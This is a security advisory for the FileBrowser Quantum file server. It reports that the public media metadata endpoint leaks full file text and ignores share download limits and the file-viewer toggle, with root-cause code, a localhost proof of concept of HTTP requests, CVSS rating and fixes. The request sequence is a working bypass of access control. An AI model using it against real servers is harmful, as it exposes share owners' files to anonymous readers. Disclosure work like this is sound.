Skip to main content
Menu
Advisories

filebrowser information disclosure

GHSA-55MW-CWG7-M8F5Published Updated GitHub

Description

publicMetadataHandler asks for metadata with Content: false, but FileInfoFaster populates the content field whenever either flag is set:

if opts.Content || opts.Metadata || isAudioVideo {
    processContent(response, idx, opts)
}

processContent then reads the file for any non-audio/video item under 20 MB and assigns info.Content. Since publicMetadataHandler always passes Metadata: true, its Content: false has no effect.

The same handler performs none of the per-share checks that the download and resources routes enforce. Measured: after a share's downloadsLimit is exhausted and /public/api/resources/download returns 403, /public/api/media/metadata still returns 200 with the file's full text — anonymously and without limit.

Affected version

v1.5.5-stable (current release), official linux-amd64-filebrowser binary.

Root cause

backend/http/media.go — the public handler:

func publicMetadataHandler(w http.ResponseWriter, r *http.Request, d *requestContext) (int, error) {
	if d.share.ShareType == "upload" { ... }
	...
	fileInfo, err := files.FileInfoFaster(utils.FileOptions{
		Path:     d.IndexPath,
		Source:   sourceCfg.Name,
		Expand:   true,
		Content:  false,        // <-- intended to withhold content
		Metadata: true,         // <-- but this alone triggers processContent
		...

backend/adapters/fs/files/files.go:

	isAudioVideo := strings.HasPrefix(info.Type, "audio") || strings.HasPrefix(info.Type, "video")
	if opts.Content || opts.Metadata || isAudioVideo {
		processContent(response, idx, opts)
	}
	// Process text content for non-video, non-audio files
	if info.Size < 20*1024*1024 {
		content, err := getContent(info.RealPath)
		...
		info.Content = content
	}

There is no d.share.DownloadsLimit accounting and no d.share.DisableFileViewer check anywhere in publicMetadataHandler, unlike the download path.

Proof of concept (measured on v1.5.5-stable)

Served file secret.txt containing SECRET-SHARE-CONTENT-9f3a.

The enforced control, and its bypass. Admin creates an anonymous share with a download limit of one:

POST /api/share?path=/&source=files      {"path":"/","source":"files","downloadsLimit":1}

Then, with no credentials at all:

GET /public/api/resources/download?hash=<H>&path=/secret.txt      #1 -> 200
GET /public/api/resources/download?hash=<H>&path=/secret.txt      #2 -> 403   (limit enforced)
GET /public/api/resources/download?hash=<H>&path=/secret.txt      #3 -> 403

GET /public/api/media/metadata?hash=<H>&path=/secret.txt              -> 200
    { ..., "content": "SECRET-SHARE-CONTENT-9f3a\n" }

The same bytes, after the limit is exhausted, with no metering and no limit of its own.

File-viewer setting. For a share created with disableFileViewer: true, the same route returns the file text as well:

GET /public/api/media/metadata?hash=<H2>&path=/secret.txt -> 200, content = "SECRET-SHARE-CONTENT-9f3a\n"

Honest note on this second item: /public/api/resources returns no content key for shares created with or without the toggle, so that route is not evidence that the toggle is being bypassed — I am reporting only that the media route discloses content that the owner asked not to be viewable. The download-limit pair above is the measurement that stands on its own.

Impact

Any control the share owner sets that governs getting the bytes is void on this route: the download counter is never incremented or checked, and a share whose downloads are exhausted still serves the full text of every text file in the shared subtree, to anonymous visitors, repeatedly. The exposure is bounded to the subtree the owner published — this is not a scope escape — but the metering and viewer controls the product offers for that subtree do not apply.

Severity

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N = 5.3 (Medium) — my honest rating, because the data is inside the published share. A triager who treats the download limit as a confidentiality control (its purpose) would reach C:H = 7.5; I am flagging that reading rather than claiming it. CWE-863 (incorrect authorization on an alternate route) with CWE-200.

Suggested fix

  1. In files.go, stop letting Metadata imply content: split the condition, e.g. if opts.Content || isAudioVideo { processContent(...) } and have processContent assign info.Content only when opts.Content is set. Metadata consumers do not need the file body.
  2. In publicMetadataHandler, apply the same share checks the download route applies — DownloadsLimit accounting and the viewer setting — or explicitly strip fileInfo.Content before renderJSON when the share disallows it.

Dedup

The repository has 22 published advisories; none concerns /public/api/media/metadata, the Content/Metadata disjunction in FileInfoFaster, or share download-limit enforcement. The nearest is GHSA-vvp7-h4fj-m28w (CVE-2026-54910), a path traversal in the subtitle handler in the same file, fixed by PR #2524 — a different defect (path confinement) on a different route; that fix is present in the version measured here.

Honest limits

  • Bounded to text files under 20 MB (getContent's own limits) inside the shared subtree.
  • Measured on Linux with the official release binary and a config specifying only a source path; the admin password was supplied through the documented FILEBROWSER_ADMIN_PASSWORD environment variable.
  • I did not test whether the authenticated /api/media/metadata route bypasses a user's download: false permission; that variant is plausible from the same code but is not part of this report.

---

Appendix — EVIDENCE_filebrowser_media_metadata_20260901.txt (inlined; advisories accept no attachments)

=== FileBrowser Quantum v1.5.5-stable (official linux-amd64 release binary) — measured 2026-09-01, 127.0.0.1 ===

served file: <lab>/data/secret.txt containing SECRET-SHARE-CONTENT-9f3a

--- A. anonymous share with disableFileViewer: true ---
  GET /public/api/resources?hash=H&path=/secret.txt        -> 200, no "content" key
  GET /public/api/media/metadata?hash=H&path=/secret.txt   -> 200, content = 'SECRET-SHARE-CONTENT-9f3a
'
  (note: /public/api/resources returns no content for a share created WITHOUT the toggle either,
   so that route is not the control — the download-limit pair below is.)

--- B. anonymous share with downloadsLimit: 1  (the enforced control) ---
  GET /public/api/resources/download?hash=H3&path=/secret.txt   #1 -> 200
  GET /public/api/resources/download?hash=H3&path=/secret.txt   #2 -> 403   <- limit enforced
  GET /public/api/resources/download?hash=H3&path=/secret.txt   #3 -> 403
  GET /public/api/media/metadata?hash=H3&path=/secret.txt          -> 200
        content = 'SECRET-SHARE-CONTENT-9f3a
'                    <- same bytes, after the limit, unmetered

share creation (admin): POST /api/share?path=/&source=files  {"downloadsLimit":1,"disableFileViewer":true}

Affected versions

References

GitHub · gtsteffaniak/filebrowser